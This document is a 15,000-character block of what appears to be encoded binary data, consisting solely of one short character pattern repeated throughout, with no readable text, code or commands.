EEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBA